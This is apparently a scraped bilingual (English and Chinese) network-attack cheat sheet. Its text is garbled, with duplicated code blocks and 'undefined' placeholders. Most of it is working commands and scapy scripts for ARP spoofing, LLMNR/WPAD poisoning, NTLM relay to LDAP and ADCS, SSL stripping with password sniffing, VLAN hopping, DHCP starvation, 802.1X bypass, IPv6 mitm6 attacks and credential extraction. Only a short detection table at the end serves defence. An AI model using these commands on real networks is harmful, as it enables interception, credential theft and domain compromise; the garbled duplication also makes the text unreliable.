Loading...
Loading...
Compare original and translation side by side
sudo bettercap -iface eth0
net.probe on # discover live hosts
net.show
set arp.spoof.targets 10.0.0.50 # single target
set arp.spoof.fullduplex true # poison both victim and gateway
arp.spoof onsudo bettercap -iface eth0
net.probe on # discover live hosts
net.show
set arp.spoof.targets 10.0.0.50 # single target
set arp.spoof.fullduplex true # poison both victim and gateway
arp.spoof onecho 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t 10.0.0.50 10.0.0.1 # tell victim you are the gateway
arpspoof -i eth0 -t 10.0.0.1 10.0.0.50 # tell gateway you are the victim (second terminal)echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t 10.0.0.50 10.0.0.1 # tell victim you are the gateway
arpspoof -i eth0 -t 10.0.0.1 10.0.0.50 # tell gateway you are the victim (second terminal)undefinedundefinedfrom scapy.all import Ether, ARP, sendp
import time
pkt = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(
op=2, psrc="10.0.0.1", hwsrc="aa:bb:cc:dd:ee:ff", pdst="10.0.0.50"
)
while True:
sendp(pkt, iface="eth0", verbose=False)
time.sleep(2)from scapy.all import Ether, ARP, sendp
import time
pkt = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(
op=2, psrc="10.0.0.1", hwsrc="aa:bb:cc:dd:ee:ff", pdst="10.0.0.50"
)
while True:
sendp(pkt, iface="eth0", verbose=False)
time.sleep(2)sudo responder -I eth0 -A # analyze mode -- observe without poisoning
sudo responder -I eth0 -wrf # full poisoning: -w WPAD, -r NBT-NS, -f fingerprintsudo responder -I eth0 -A # analyze mode -- observe without poisoning
sudo responder -I eth0 -wrf # full poisoning: -w WPAD, -r NBT-NS, -f fingerprint
WPAD is a high-value vector: browsers query for `wpad.dat` via DNS then LLMNR/NBT-NS. The `-w` flag makes Responder serve a malicious WPAD config that captures NTLM authentication from browser traffic transparently.
WPAD 是一个价值很高的攻击向量:浏览器先通过 DNS,然后通过 LLMNR/NBT-NS 查询 `wpad.dat`。`-w` 参数让 Responder 提供恶意 WPAD 配置,从浏览器流量中透明捕获 NTLM 身份验证。Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -HTTP Y -HTTPS Y -Proxy Y
Inveigh.exe -FileOutput Y -NBNS Y -mDNS Y -HTTP Y -LLMNR Y # C# binary avoids PS loggingInvoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -HTTP Y -HTTPS Y -Proxy Y
Inveigh.exe -FileOutput Y -NBNS Y -mDNS Y -HTTP Y -LLMNR Y # C# binary avoids PS loggingnxc smb 10.0.0.0/24 --gen-relay-list no-signing.txt
impacket-ntlmrelayx -tf no-signing.txt -smb2support -c "whoami" # command exec
impacket-ntlmrelayx -tf no-signing.txt -t ldap://10.0.0.10 \
--escalate-user attacker --delegate-access # LDAP privesc
impacket-ntlmrelayx -t http://ca.corp.local/certsrv/certfnsh.asp \
-smb2support --adcs --template DomainController # ADCS ESC8nxc smb 10.0.0.0/24 --gen-relay-list no-signing.txt
impacket-ntlmrelayx -tf no-signing.txt -smb2support -c "whoami" # command exec
impacket-ntlmrelayx -tf no-signing.txt -t ldap://10.0.0.10 \
--escalate-user attacker --delegate-access # LDAP privesc
impacket-ntlmrelayx -t http://ca.corp.local/certsrv/certfnsh.asp \
-smb2support --adcs --template DomainController # ADCS ESC8undefinedundefinedundefinedundefinedfrom scapy.all import IP, UDP, DNS, DNSQR, DNSRR, send
import randomfrom scapy.all import IP, UDP, DNS, DNSQR, DNSRR, send
import random
Modern resolvers randomize source ports and transaction IDs. Practical Kaminsky-style poisoning requires matching both fields simultaneously.
现代 resolver 会随机化源端口和 transaction ID。实用的 Kaminsky-style poisoning 要求同时匹配这两个字段。undefinedundefined
---
---sudo bettercap -iface eth0
set arp.spoof.targets 10.0.0.50
set arp.spoof.fullduplex true
arp.spoof on
set http.proxy.sslstrip true
http.proxy on
set net.sniff.verbose true
set net.sniff.regexp .*pass.*|.*user.*|.*login.*
net.sniff onsudo bettercap -iface eth0
set arp.spoof.targets 10.0.0.50
set arp.spoof.fullduplex true
arp.spoof on
set http.proxy.sslstrip true
http.proxy on
set net.sniff.verbose true
set net.sniff.regexp .*pass.*|.*user.*|.*login.*
net.sniff onaccounts.google.comaccountss.google.comarpspoof -i eth0 -t 10.0.0.50 10.0.0.1 # terminal 1
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 10000 # terminal 2
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-port 10000
python dns2proxy.py -i eth0 # terminal 3
python sslstrip.py -l 10000 -a -w sslstrip.log # terminal 4accounts.google.comaccountss.google.comarpspoof -i eth0 -t 10.0.0.50 10.0.0.1 # terminal 1
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 10000 # terminal 2
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-port 10000
python dns2proxy.py -i eth0 # terminal 3
python sslstrip.py -l 10000 -a -w sslstrip.log # terminal 4tshark -r capture.pcap -Y "http.authbasic" -T fields -e http.authbasic
tshark -r capture.pcap -Y "ftp.request.command == USER || ftp.request.command == PASS" \
-T fields -e ftp.request.command -e ftp.request.arg
python3 Pcredz -f capture.pcap # automated extraction (NTLM, HTTP, FTP, SMTP, SNMP)
sudo python3 net-creds.py -i eth0 # real-time credential sniffertshark -r capture.pcap -Y "http.authbasic" -T fields -e http.authbasic
tshark -r capture.pcap -Y "ftp.request.command == USER || ftp.request.command == PASS" \
-T fields -e ftp.request.command -e ftp.request.arg
python3 Pcredz -f capture.pcap # automated extraction (NTLM, HTTP, FTP, SMTP, SNMP)
sudo python3 net-creds.py -i eth0 # real-time credential sniffersudo yersinia dtp -attack 1 -interface eth0 # DTP trunk negotiation
sudo tcpdump -i eth0 -nn -e vlan # verify trunk formed
sudo modprobe 8021q
sudo vconfig add eth0 100 # sub-interface for VLAN 100
sudo ifconfig eth0.100 10.100.0.99 netmask 255.255.255.0 upsudo yersinia dtp -attack 1 -interface eth0 # DTP trunk negotiation
sudo tcpdump -i eth0 -nn -e vlan # verify trunk formed
sudo modprobe 8021q
sudo vconfig add eth0 100 # sub-interface for VLAN 100
sudo ifconfig eth0.100 10.100.0.99 netmask 255.255.255.0 upfrom scapy.all import Ether, Dot1Q, IP, ICMP, ARP, sendpfrom scapy.all import Ether, Dot1Q, IP, ICMP, ARP, sendpundefinedundefinedsudo yersinia stp -attack 4 -interface eth0 # STP root bridge takeover
sudo yersinia cdp -attack 1 -interface eth0 # CDP flood (Cisco switches)sudo yersinia stp -attack 4 -interface eth0 # STP root bridge takeover
sudo yersinia cdp -attack 1 -interface eth0 # CDP flood (Cisco switches)sudo dhcpstarv -i eth0 # dedicated starvation tool
sudo yersinia dhcp -attack 1 -interface eth0 # Yersinia alternativefrom scapy.all import Ether, IP, UDP, BOOTP, DHCP, RandMAC, sendp
import random
for i in range(500):
mac = str(RandMAC())
pkt = Ether(src=mac, dst="ff:ff:ff:ff:ff:ff") / IP(src="0.0.0.0", dst="255.255.255.255") / \
UDP(sport=68, dport=67) / BOOTP(chaddr=bytes.fromhex(mac.replace(":", "")),
xid=random.randint(1, 0xFFFFFFFF)) / DHCP(options=[("message-type", "discover"), "end"])
sendp(pkt, iface="eth0", verbose=False)sudo dhcpstarv -i eth0 # dedicated starvation tool
sudo yersinia dhcp -attack 1 -interface eth0 # Yersinia alternativefrom scapy.all import Ether, IP, UDP, BOOTP, DHCP, RandMAC, sendp
import random
for i in range(500):
mac = str(RandMAC())
pkt = Ether(src=mac, dst="ff:ff:ff:ff:ff:ff") / IP(src="0.0.0.0", dst="255.255.255.255") / \
UDP(sport=68, dport=67) / BOOTP(chaddr=bytes.fromhex(mac.replace(":", "")),
xid=random.randint(1, 0xFFFFFFFF)) / DHCP(options=[("message-type", "discover"), "end"])
sendp(pkt, iface="eth0", verbose=False)undefinedundefined
---
---sudo tcpdump -i eth0 -e -c 100 | awk '{print $2}' | sort -u # discover authorized MACs
sudo ip link set eth0 down
sudo ip link set eth0 address AA:BB:CC:DD:EE:FF
sudo ip link set eth0 up && sudo dhclient eth0sudo tcpdump -i eth0 -e -c 100 | awk '{print $2}' | sort -u # discover authorized MACs
sudo ip link set eth0 down
sudo ip link set eth0 address AA:BB:CC:DD:EE:FF
sudo ip link set eth0 up && sudo dhclient eth0sudo ip link add name br0 type bridge
sudo ip link set eth0 master br0 # eth0 to switch
sudo ip link set eth1 master br0 # eth1 to authenticated device
sudo ip link set br0 upsudo ip link add name br0 type bridge
sudo ip link set eth0 master br0 # eth0 to switch
sudo ip link set eth1 master br0 # eth1 to authenticated device
sudo ip link set br0 upopenssl req -new -x509 -days 365 -keyout fake-ca.key -out fake-ca.crt -subj "/CN=Corp-CA/O=Corp"
openssl req -new -keyout client.key -out client.csr -subj "/CN=PRINTER01/O=Corp"
openssl x509 -req -in client.csr -CA fake-ca.crt -CAkey fake-ca.key -CAcreateserial -out client.crtopenssl req -new -x509 -days 365 -keyout fake-ca.key -out fake-ca.crt -subj "/CN=Corp-CA/O=Corp"
openssl req -new -keyout client.key -out client.csr -subj "/CN=PRINTER01/O=Corp"
openssl x509 -req -in client.csr -CA fake-ca.crt -CAkey fake-ca.key -CAcreateserial -out client.crtundefinedundefinedsudo macchanger -m 00:1A:4B:XX:XX:XX eth0 # HP printer OUI
sudo dhclient -H "HP-LaserJet-M402" eth0 # expected hostname
sudo iptables -t mangle -A POSTROUTING -j TTL --ttl-set 128 # Windows TTLsudo macchanger -m 00:1A:4B:XX:XX:XX eth0 # HP printer OUI
sudo dhclient -H "HP-LaserJet-M402" eth0 # expected hostname
sudo iptables -t mangle -A POSTROUTING -j TTL --ttl-set 128 # Windows TTLsudo mitm6 -d corp.local -i eth0 # terminal 1: DNS takeover
impacket-ntlmrelayx -6 -t ldaps://dc01.corp.local \
--delegate-access -wh attacker-wpad.corp.local # terminal 2: relaysudo mitm6 -d corp.local -i eth0 # terminal 1: DNS takeover
impacket-ntlmrelayx -6 -t ldaps://dc01.corp.local \
--delegate-access -wh attacker-wpad.corp.local # terminal 2: relayfrom scapy.all import (Ether, IPv6, ICMPv6ND_RA, ICMPv6NDOptSrcLLAddr,
ICMPv6NDOptPrefixInfo, ICMPv6NDOptRDNSS, sendp)
ra = Ether(dst="33:33:00:00:00:01") / IPv6(dst="ff02::1") / \
ICMPv6ND_RA(routerlifetime=1800) / ICMPv6NDOptSrcLLAddr(lladdr="aa:bb:cc:dd:ee:ff") / \
ICMPv6NDOptPrefixInfo(prefix="fd00::", prefixlen=64, validlifetime=1800) / \
ICMPv6NDOptRDNSS(dns=["fd00::99"], lifetime=1800)
sendp(ra, iface="eth0", loop=1, inter=5)from scapy.all import (Ether, IPv6, ICMPv6ND_RA, ICMPv6NDOptSrcLLAddr,
ICMPv6NDOptPrefixInfo, ICMPv6NDOptRDNSS, sendp)
ra = Ether(dst="33:33:00:00:00:01") / IPv6(dst="ff02::1") / \
ICMPv6ND_RA(routerlifetime=1800) / ICMPv6NDOptSrcLLAddr(lladdr="aa:bb:cc:dd:ee:ff") / \
ICMPv6NDOptPrefixInfo(prefix="fd00::", prefixlen=64, validlifetime=1800) / \
ICMPv6NDOptRDNSS(dns=["fd00::99"], lifetime=1800)
sendp(ra, iface="eth0", loop=1, inter=5)sudo atk6-fake_dhcps6 eth0 fd00::99 fe80::1 corp.local # fake DHCPv6 server
sudo atk6-alive6 eth0 # discover IPv6 hosts
sudo atk6-fake_router6 eth0 fd00::/64 # SLAAC prefix injection
sudo atk6-parasite6 eth0 # ICMPv6 neighbor spoofing
sudo atk6-flood_router6 eth0 # RA flood (DoS)sudo atk6-fake_dhcps6 eth0 fd00::99 fe80::1 corp.local # fake DHCPv6 server
sudo atk6-alive6 eth0 # discover IPv6 hosts
sudo atk6-fake_router6 eth0 fd00::/64 # SLAAC prefix injection
sudo atk6-parasite6 eth0 # ICMPv6 neighbor spoofing
sudo atk6-flood_router6 eth0 # RA flood (DoS)sudo mitm6 -d corp.local -i eth0 --ignore-nofqdn
impacket-ntlmrelayx -6 -t http://ca.corp.local/certsrv/certfnsh.asp \
-smb2support --adcs --template Machine # relay to ADCS for cert theftsudo mitm6 -d corp.local -i eth0 --ignore-nofqdn
impacket-ntlmrelayx -6 -t http://ca.corp.local/certsrv/certfnsh.asp \
-smb2support --adcs --template Machine # relay to ADCS for cert theftsudo tcpdump -i eth0 -w capture.pcap -nn # full capture
sudo tcpdump -i eth0 -w auth.pcap -nn 'port 21 or port 23 or port 25 or port 445 or port 80'
sudo tcpdump -i eth0 -w broadcast.pcap -nn 'udp port 5355 or udp port 137 or udp port 5353'
sudo tcpdump -i eth0 -w dhcp.pcap -nn 'udp port 67 or udp port 68'sudo tcpdump -i eth0 -w capture.pcap -nn # full capture
sudo tcpdump -i eth0 -w auth.pcap -nn 'port 21 or port 23 or port 25 or port 445 or port 80'
sudo tcpdump -i eth0 -w broadcast.pcap -nn 'udp port 5355 or udp port 137 or udp port 5353'
sudo tcpdump -i eth0 -w dhcp.pcap -nn 'udp port 67 or udp port 68'http.authbasic HTTP Basic Auth
ftp.request.command == "PASS" FTP password
smtp.req.parameter contains "AUTH" SMTP auth
ntlmssp NTLM SSP traffic
ntlmssp.auth.username NTLM username
smb2.cmd == 1 SMB session setup
dns.qry.name contains "wpad" WPAD queries
llmnr LLMNR broadcast
arp.duplicate-address-detected ARP anomalies
vlan 802.1Q frames
snmp.community SNMP strings
kerberos.msg.type == 10 Kerberos AS-REQhttp.authbasic HTTP Basic Auth
ftp.request.command == "PASS" FTP password
smtp.req.parameter contains "AUTH" SMTP auth
ntlmssp NTLM SSP traffic
ntlmssp.auth.username NTLM username
smb2.cmd == 1 SMB session setup
dns.qry.name contains "wpad" WPAD queries
llmnr LLMNR broadcast
arp.duplicate-address-detected ARP anomalies
vlan 802.1Q frames
snmp.community SNMP strings
kerberos.msg.type == 10 Kerberos AS-REQpython3 Pcredz -f capture.pcap # from pcap
sudo python2 net-creds.py -i eth0 # real-time
tshark -r capture.pcap -Y "http.request.method == POST" \
-T fields -e http.host -e http.request.uri -e urlencoded-form.value # HTTP POSTpython3 Pcredz -f capture.pcap # from pcap
sudo python2 net-creds.py -i eth0 # real-time
tshark -r capture.pcap -Y "http.request.method == POST" \
-T fields -e http.host -e http.request.uri -e urlencoded-form.value # HTTP POST| Attack | Primary Detection | Key Indicators |
|---|---|---|
| ARP Spoofing | Duplicate MAC for gateway IP, ARP storms | DAI logs, IDS ARP anomaly signatures |
| LLMNR/NBT-NS Poisoning | Unexpected multicast responses, SMB auth to unknown hosts | Event 4697, network IDS, LLMNR traffic spikes |
| DNS Poisoning | Mismatched DNS responses, TTL anomalies | DNS query logs, RPZ alerts, DNSSEC validation failures |
| MITM / SSL Strip | HTTP on known HTTPS-only services, cert warnings | HSTS preload failures, proxy logs, certificate transparency |
| VLAN Hopping | DTP frames from access ports, double-tagged frames | Switch port security logs, unexpected 802.1Q frames |
| DHCP Starvation | Rapid DHCP discover flood from random MACs | DHCP snooping violations, unusual OUI patterns |
| Rogue DHCP | Multiple DHCP offers, conflicting gateway/DNS | DHCP snooping trusted port violations |
| 802.1X Bypass | MAC flapping, multiple MACs on authenticated port | Port security violations, 802.1X re-auth failures |
| IPv6 SLAAC/DHCPv6 | Unexpected RAs, DHCPv6 from unknown source | RA Guard violations, NDPMon alerts |
| Passive Sniffing | Promiscuous NIC mode | Promiscuous detection scripts, switch SPAN alerts |
| 攻击 | 主要检测方式 | 关键指标 |
|---|---|---|
| ARP 欺骗 | 网关 IP 出现重复 MAC、ARP 风暴 | DAI 日志、IDS ARP 异常签名 |
| LLMNR/NBT-NS 投毒 | 非预期的 multicast response、向未知主机发起 SMB 身份验证 | Event 4697、网络 IDS、LLMNR 流量激增 |
| DNS 投毒 | DNS 响应不匹配、TTL 异常 | DNS 查询日志、RPZ 警报、DNSSEC validation failure |
| MITM / SSL Strip | 在仅支持 HTTPS 的服务上出现 HTTP、证书警告 | HSTS preload 失败、代理日志、certificate transparency |
| VLAN Hopping | 从 access port 收到 DTP 帧、double-tagged 帧 | 交换机 port security 日志、异常 802.1Q 帧 |
| DHCP Starvation | 随机 MAC 快速发起 DHCP discover flood | DHCP snooping 违规、异常 OUI 模式 |
| Rogue DHCP | 多个 DHCP offer、gateway/DNS 冲突 | DHCP snooping trusted port 违规 |
| 802.1X Bypass | MAC flapping、已认证端口上出现多个 MAC | port security 违规、802.1X re-authentication 失败 |
| IPv6 SLAAC/DHCPv6 | 非预期的 RA、来自未知源的 DHCPv6 | RA Guard 违规、NDPMon 警报 |
| 被动嗅探 | promiscuous NIC 模式 | promiscuous detection script、交换机 SPAN 警报 |
SCENARIO TECHNIQUE TOOL / COMMAND
------------------------------------ --------------------------- ------------------------------------------------
Harvest creds passively LLMNR/NBT-NS poisoning responder -I eth0 -wrf
Creds captured, won't crack NTLM relay ntlmrelayx -tf targets.txt -smb2support
MITM a specific host ARP spoof + sniff bettercap: arp.spoof on + net.sniff on
Intercept HTTPS traffic SSL strip + HSTS bypass sslstrip+ / dns2proxy / bettercap http.proxy
Reach another VLAN DTP trunk negotiation yersinia dtp -attack 1
Reach VLAN (DTP disabled) Double tagging scapy: Dot1Q(vlan=1)/Dot1Q(vlan=target)
Exhaust DHCP, become gateway Starvation + rogue DHCP dhcpstarv + dnsmasq rogue config
Bypass 802.1X (MAB fallback) MAC spoofing macchanger -m <auth_mac> eth0
Bypass 802.1X (physical) Bridge insertion ip link add br0 type bridge
IPv6 DNS takeover + relay SLAAC/DHCPv6 poisoning mitm6 -d domain + ntlmrelayx -6
Passive recon only Traffic sniffing tcpdump -i eth0 -w capture.pcap
Extract creds from capture Credential extraction PCredz -f capture.pcap / net-creds
Disrupt STP topology STP root bridge attack yersinia stp -attack 4
Poison from Windows foothold Windows-native poisoning Inveigh -LLMNR Y -NBNS YSCENARIO TECHNIQUE TOOL / COMMAND
------------------------------------ --------------------------- ------------------------------------------------
Harvest creds passively LLMNR/NBT-NS poisoning responder -I eth0 -wrf
Creds captured, won't crack NTLM relay ntlmrelayx -tf targets.txt -smb2support
MITM a specific host ARP spoof + sniff bettercap: arp.spoof on + net.sniff on
Intercept HTTPS traffic SSL strip + HSTS bypass sslstrip+ / dns2proxy / bettercap http.proxy
Reach another VLAN DTP trunk negotiation yersinia dtp -attack 1
Reach VLAN (DTP disabled) Double tagging scapy: Dot1Q(vlan=1)/Dot1Q(vlan=target)
Exhaust DHCP, become gateway Starvation + rogue DHCP dhcpstarv + dnsmasq rogue config
Bypass 802.1X (MAB fallback) MAC spoofing macchanger -m <auth_mac> eth0
Bypass 802.1X (physical) Bridge insertion ip link add br0 type bridge
IPv6 DNS takeover + relay SLAAC/DHCPv6 poisoning mitm6 -d domain + ntlmrelayx -6
Passive recon only Traffic sniffing tcpdump -i eth0 -w capture.pcap
Extract creds from capture Credential extraction PCredz -f capture.pcap / net-creds
Disrupt STP topology STP root bridge attack yersinia stp -attack 4
Poison from Windows foothold Windows-native poisoning Inveigh -LLMNR Y -NBNS Y